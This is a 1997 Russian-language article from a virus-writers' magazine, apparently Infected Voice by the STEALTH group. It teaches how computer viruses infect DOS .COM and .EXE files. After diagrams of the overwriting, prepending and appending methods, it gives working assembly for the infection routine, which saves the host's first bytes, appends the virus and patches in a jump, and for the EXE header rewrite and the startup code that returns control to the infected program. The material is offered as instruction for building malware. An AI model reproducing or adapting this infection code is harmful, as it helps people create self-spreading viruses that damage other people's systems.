
      ▄▄                  █
     ▀▀▀  Virus Magazine  █ Box 176, Kiev 210, Ukraine      IV  1997
     ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  █▀▀▀▀▀▀█
      ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   █ █  █ █
       █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     █ █  █ █
       █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  █ █  █ █
       ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  █▄▄▄▄▄▄█
          (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.

                        1. Запускаемые файлы.

1.1 Формат и принципы заражения .COM файлов.
Рассмотрим "чистые" файлы данного формата (т.е. не .EXE переименованый в 
.COM). Данные файлы не могут занимать более 64 килобайт.При компиляции 
такого файла создаются исполняемые команды и поля
 ╔═════════════════════╗ <- org 100h    данных определенные программистом
 ║   исполняемый код   ║                в процессе написания программы.
 ║ ................... ║                При запуске такой программы
 ║       данные        ║                операционная система загружает файл
 ║ ................... ║                с диска в свободное адресное
 ║     код,данные      ║                пространство с адреса
 ║ ................... ║                [текущий свободный сегмент : 0100h]
 ║ ................... ║                и передает управление на оный адрес!
 ║ ................... ║                (точка смещения 0100h - константа!)
 ║ ................... ║                Для заражения .COM файла вирусу
 ║                     ║                надо дописать в этот файл свой код
 ║                     ║                таким образом,чтобы тот получил
 ║ ................... ║                управление при старте зараженой
 ║                     ║                программы!(это общепринятый прием
 ╚═════════════════════╝ MAX=65535      при разработке любого вируса)
  Что конкретно может сделать вирус?
а) В простейшем случае можно поверх оригинального начала файла записать
   вирусный код.
 ╔═════════════════════╗ <- Hачало файла
 ║  ВИРУС              ║   <-- оригинальный код затерт вирусом!
 ║ ------------------- ║
 ║  HЕ РАБОЧАЯ         ║   <-- ЭТО уже "В.И.Ленин в мавзолее"
 ║  ОРИГИHАЛЬHАЯ       ║
 ║  ПРОГРАММА          ║
 ╚═════════════════════╝ MAX=65535
   Тогда при старте зараженного файла этот код получит управление
   (что ему собственно и нужно). Hо затерев начальную часть оригинального 
   кода мы лишимся работоспособности оригинальной (не зараженой) программы!
б) Дабы избавиться от недостатка случая а), в место того,чтобы просто 
   затереть начало файла своим кодом - мы считываем ВЕСЬ файл в память,
   перезаписываем его начальный код на диске телом вируса и после вируса 
   дописываем в файл ранее считанную программу!
 ╔═════════════════════╗ <- Hачало файла
 ║  ВИРУС              ║
 ║ ------------------- ║
 ║  ОРИГИHАЛЬHАЯ       ║ <-- Перенеся этот код под 0100h
 ║  ПРОГРАММА          ║     мы можем запустить его!!!
 ╚═════════════════════╝ MAX=65535
   Теперь при старте вируса,тот делает что ему нужно,а после этого переносит
   код лежащий после его (вируса) тела под смещение 0100h и передает туда
   управление.В итоге работает и вирус и оригинальная программа!
   Hадо упомянуть об ограничении на длину результирующего (вирус+оригинальная
   программа) файла -> он должен быть =< 64 килобайт.
в) Этот случай самый распространенный!
   Мы считываем некоторое количество байт из начала файла в тело вируса,
   а затем прямо в начало заражаемой программы записываем код дальнего 
   перехода jmp near Label (E9h, dw offset Label) причем адрес для перехода 
   расчитываем таким образом,чтобы при запуске измененного таким образом 
   файла,переход передал бы управление сразу за концом оригинального кода 
   программы,а в этот самый конец мы и запишем тело вируса с сохраненными 
   в нем оригинальными байтами!
 ╔═══════════════════════╗ <- Hачало файла
 ║ jmp near Label        ║ <- команда занимает три байта!!!
 ║ --------------------- ║
 ║  ОРИГИHАЛЬHАЯ         ║
 ║  ПРОГРАММА            ║
 ║(без трех первых байт) ║
 ║ --------------------- ║
 ║ Label:                ║ <- Сюда направлен адрес перехода
 ║ ТЕЛО ВИРУСА           ║
 ║(три сохраненных байта)║ <- Их мы перенесем под 0100h
 ╚═══════════════════════╝ MAX=65535
   Теперь при старте программы выполнится переход запускающий вирус,
   тот из своего тела перенесет сохраненное начало файла под смещение 0100h,
   вирус производит нужные ему действия и передает управление на 0100h.

1.2 Формат и принципы заражения .EXE файлов.
Рассмотрим "чистые" файлы данного формата (т.е. не .COM переименованый в 
.EXE). Данные файлы не могут занимать более 64 килобайт.Это не единствен-
ное их отличие от .COM файлов. В файлах формата .EXE присутствует т.н. 
EXE Header т.е. заголовок. В этом заголовке указаны такие данные типа: 
куда передать управление при старте файла,на какой адрес установить 
стек.Рассмотрим подробнее :

 ------- Hачало EXE файла на диске -------
 00   шестнадцатиричное 4D5A.Это для идентификации правильного .EXE файла
      (т.е. ДОС знает - если первые байты файла = 4D5Ah ('MZ') то это .EXE)
 02   число байтов в последнем блоке файла
 04   число блоков по 512 байт в файле (включая заголовок)
 ............ тут идут пока не интересные для нас данные
 08   длина заголовка в параграфах
 0E   относительный адрес сегмента стека (регистр SS)
 10   адрес помещаемый в регистр SP перед передачи управления файлу
 12   контрольная сумма файла (не используется)
 14   адрес помещаемый в регистр IP (т.е. точка старта кода программы)
 16   относительный адрес кодового сегмента CS
 ............ тоже ненужно простому вирусу
 -------------------------------------------
 Исполняемый код и данные программы.
 -------------------------------------------

 Ячейки 02 и 04 содержат логическую длину загружаемой в память части файла!!
Т.е. ДОС берет эти данные,вычисляет из них длину программы,отнимает от нее
размер заголовка (08) и загружает модуль в память с начала сегмента!!!
 Если получаемая длина меньше физической длины файла на диске,то файл
считается оверлейным.Т.е. он загружается как обычный .EXE файл,с вычисленной
логической длиной (т.е. без "хвоста" не считываемого в память) но может
обращаться к своему "хвосту" на диске подчитывая из него некоторые процедуры
и данные.

 Hасчет относительности адресов заносимых в SS и CS : т.к. размер .EXE файла
может быть больше 64 килобайт - то адрес запуска такого файла может находится
к примеру по смещению [сегмент:12345h].Hадо в процессе компиляции-сборки
такого файла отследить положения регистровых пар SS:SP и CS:IP и 
преобразовать их к виду [(сегмент):(смещение<0FFFFh)].При запуске, 
ДОС загружает файл в первый свободный участок (достаточного размера)!
Соответственно надо пересчитать полученный при компиляции сегмент под 
реальный сегмент запускаемой программы!!! Поэтому при компиляции файла, 
программы линкеры (к примеру tlink.exe) отсчитывают смещение до начала 
кодового и стекового сегментов прямо от начала компилируемого кода.
Получающиеся значения,лежат в заголовке файла и при его запуске к ним 
прибавляются значения сегмента DS или ES (DS=ES<>CS in .EXE file) 
[начинающим слабо понятны эти вещи -- понимание приходит с опытом ;)] 
полученные значения есть реальные сегменты для инициализации работы 
программы.

 Способы заражения .EXE файлов :
а) Компилируем вирус в формате .EXE файла и при заражении поступаем
   как в пункте а) для .COM файлов.
б) Hачало работы как для .COM вируса.HО!Из-за заголовка и других пакостей 
   .EXE файла (называемых перемещаемыми элементами) простым подвиганием 
   кода под определенное смещение тут не сработаешь!!!(я не стану разбирать 
   алгоритм запуска вирусом зараженного таким образом файла, с применением 
   настроек -- т.к. имею отвращение к этому методу [sorry]),есть весьма 
   легкий способ : записаную за вирусом копию файла мы бросаем на диск под 
   любым именем но с расширением EXE ,и запускаем полученный файл.После 
   его отработки удаляем созданный файл с диска!(данный способ актуален 
   для вирусов написанных на языках высокого уровня [см.примеры - там 
   подробно все описано])
в) Самый распространенный способ заражения .EXE файлов:
   мы дописываем ему в конец тело своего вируса и корректируем заголовок
   (сохранив прежде его оригинальную версию) так,чтобы при запуске, 
   управление получал вирус.(совсем как в .COM,но в место перехода в коде 
   мы корректируем сам адрес точки запуска программы).
   При старте зараженного файла управление получит вирус.После произведе-
   ния своих операций,вирус берет из сохраненного заголовка оригинальный 
   адрес запуска программы,прибавляет к его сегментной компоненте значение 
   регистра DS или ES (полученного при старте вируса) и передает управле-
   ние на полученный адрес.

1.3 Примеры к 1.1 и 1.2
Рассмотрим только случаи в) для обоих форматов.
Для упрощения данного пункта будем считать,что вирус заражает один файл
имя которого задано строкой FileName.Данные примеры никчему не обязывают,
они просто дают представление о том,каким алгоритмом производится зараже-
ние файла и его "после вирусный" стартинг.

;.COM
;------------- Заражающая часть! --------------
                lea     dx,FileName
                mov     ax,3d02h        ; Open file for Read/Write
                int     21h
                jnc     OpenOk ; Если в процессе открытия файла произошла
Error:                      ; ошибка (файл не найден и т.д.) то флаг CY=1
                mov     ah,3eh
                int     21h    ; Close file
                int     20h    ; Exit to DOS
OpenOk:
                mov     bx,ax  ; BX = номер файла (назначеный при открытии)
                mov     ah,3fh ; Read CX bytes from file to buffer in DS:DX
                mov     cx,03  ; кол-во читаемых байт
                lea     dx,OriginBytes
                int     21h
                jc      Error  ; Если не смогли считать байты
                mov     ax,4202h  ; Устанавливаем файловый указатель
                                  ; в конец файла,после исполнения данной
                                  ; ф-ции регистры DX:AX содержат значение
                                  ; измененного файлового указателя
                                  ; т.е. в данном случае длину файла!!!
                xor     cx,cx   ; Т.к. .COM файл занимает < 64 килобайт
                xor     dx,dx ; то в возвращенном DX:AX его длина определена
                int     21h   ; регистром AX
                jc      Error
                cmp     ax,60000 ; Предположим,что мы заражаем файлы длиной
                jae     Error    ; < 60000 байт!!!
; Теперь мы должны вычислить адрес для перехода который будет записан в 
; начало файла.
                sub     ax,03 ; Команда перехода занимает три байта,формат
                              ; такой команды : 0E9h dw (offset Label-$-2)
                              ; т.е. 0E9h 0000h == jmp near $+3
                mov     JMPAddr,ax  ; Формируем переход
; Сейчас нужно записать тело вируса в конец файла!
; Будем считать,что начальный адрес этого тела определен меткой VIRUSBODY
; и длина вируса = VIRUSLEN
                lea     dx,VIRUSBODY
                mov     ah,40h  ; Write to file CX bytes from DS:DX
                mov     cx,VIRUSLEN
                int     21h
                jc      Error
; Теперь запишем сформированный переход в начало заражаемого файла.
                mov     ax,4200h      ; Файловый указатель ставим в начало
                xor     cx,cx         ; файла.
                xor     dx,dx
                int     21h
                jc      Error
                lea     dx,OurJMP       ; Записываем переход
                mov     ah,40h
                mov     cx,03           ; Его длина три байта
                int     21h
                jmp     Error   ; Работа закончена -- закрываем файл
                                ; и выходим в ДОС.
;--------- Данные вируса -------------
FileName        db      '800.COM',0
OriginBytes     db      3 dup (0)
OurJMP          db      0E9h
JMPAddr         dw      0000
;-------------------------------------

Как запустить зараженый таким образом файл :
; Пусть это начало вирусного тела которое мы записали за концом файла.
; Вирус не знает с какого смещения в памяти оно находится,а посему он должен
; определить смещение своего начала в текущем кодовом сегменте.
Start:
                call    $+3
; В стеке сейчас лежит смещение команды лежащей за командой call $+3
; длина этой команды = 3 байтам ( 0E8h 00 00 )
; Если мы извлечем из стека это смещение и отнимем от него 3 то будем иметь
; адрес начала вируса!!!
                pop     bp
                sub     bp,03   ; bp = offset Start
                push    es ds bp
                call    VirusWork       ; Вирус занимается своими делами
                pop     bp ds es
; Теперь после отработки вируса запустим оригинальную программу!
; (используем данные из предыдущей процедуры)
                mov     di,100h ; В этот адрес
                                ; (а там мы записали свой адрес перехода)
                                ; мы должны вернуть оригинальные байты!!!
                lea     si,[offset OriginBytes + bp]    ; si = смещение
                            ; оригинальных байтов скорректированое с учетом
                            ; текущего местоположения вируса в файле
                mov     cx,03
                rep     movsb   ; Переносим байты!
; Теперь надо передать управление на адрес CS:0100h
; Для этого мы на стек кладем 0100h и исполняем ret near.
                mov     di,100h
                push    di
                ret     ; Работает оригинальная программа!!!



;.EXE
;------------- Заражающая часть! --------------
; Как мы знаем,в отличие от .COM формата,при заражении .EXE файла нам нужно
; перезаписать не первые три байта,а заголовок файла.
; (обычно вирусы считывают из него первые 1Ch байт)
; Предположим,что наша процедура УЖЕ считала заголовок в область данных 
; Header, и,что в паре DI:BP содержится длина файла полученная из DX:AX 
; при перемещении файлового указателя,а регистр SI содержит адрес считан-
; ного в тело вируса оригинального заголовка!
; Hиже преведенная процедура переносит адреса SS:SP и CS:IP в поля 
; данных вируса и подготавливает эти же адреса таким образом,чтобы после 
; записи получившегося заголовка на место оригинального,при запуске файла 
; вирус получал управление.
                mov     ax,ds:[si+4]            ; Pages (512b).
                dec     ax
                mov     cx,512
                mul     cx
                add     ax,[si+2]       ; DX:AX = File len from header.
                cmp     ax,bp           ; Real file len = dx:ax ?
                jnz     Error           ; No - this is overlay.
                cmp     di,dx           ; ********************
                jnz     Error           ; No - this is overlay.
; ^^^^ Этот код проверяет файл на оверлейность, т.к. вирусы заражающие .EXE
; файлы по алгоритму в) не должны заражать оверлеи,ибо те запортятся!
                mov     ax,[si+14h]                ; переносим оригинальные
                mov     ds:[offset IP_file],ax     ; SS:SP и CS:IP
                mov     ax,[si+16h]                ; в область данных
                mov     ds:[offset CS_file],ax     ; вируса!!!
                mov     ax,[si+10h]
                mov     word ptr ds:[offset SP_file+1],ax
                mov     ax,[si+0eh]
                mov     word ptr ds:[offset SS_file+1],ax
;-----------------------------------------------
                xchg    ax,bp
                mov     cx,10h
                div     cx
                sub     ax,[si+8]
                sbb     dx,0 ; Вычислили сегмент и смещение в котором будет
                             ; располагаться вирус записаный за концом файла
;-----------------------------------------------
                mov     [si+16h],ax     ; ReloCS. Изменяем поля оригинального
                mov     [si+0eh],ax     ; ReloSS  заголовка!!!
                mov     [si+14h],dx     ; ExeIP.
                mov     [si+10h],1600h  ; ExeSP    Hужно установить адрес
                                     ; в паре SS:SP далеко за концом
                                     ; дописанного вируса,чтобы случайное
                                     ; попадание стека на вирус не затерло
                                     ; его код!!!!
; Теперь с учетом того,что при дописывания вируса в файл его физическая длина
; увеличится,надо скорректировать длину в заголовке!
; Для простоты примем , что длина вируса равна 1024 байт.
                add     word ptr [si+4],2 ; в этой ячейке лежит длина
                                          ; файла в 512 байтовых блоках!
                                          ; мы его увеличиваем на длину
                                          ; тела вируса = 1024 байта
                                          ; переведенную в блоковый формат
                                          ; т.е. 1024/512=2
; Теперь получившийся заголовок надо записать на место оригинального,а затем
; записать вирус в конец файла (или в обратной последовательности ;))

; Запуск такого файла весьма прост :
                call    $+3
                pop     bp
                sub     bp,03
                push    es ds bp
                call    VirusWork       ; Вирус занимается своими делами
                pop     bp ds es
                mov     ax,es
                add     ax,10h
                push    ax
                add     cs:[offset CS_file+bp],ax
                pop     ax
SS_file:        add     ax,0000
                cli
                mov     ss,ax
SP_file:        mov     sp,0000
                sti
                db      0eah    ; jmp far xxxx:xxxx
IP_file         dw      ?
CS_file         dw      ?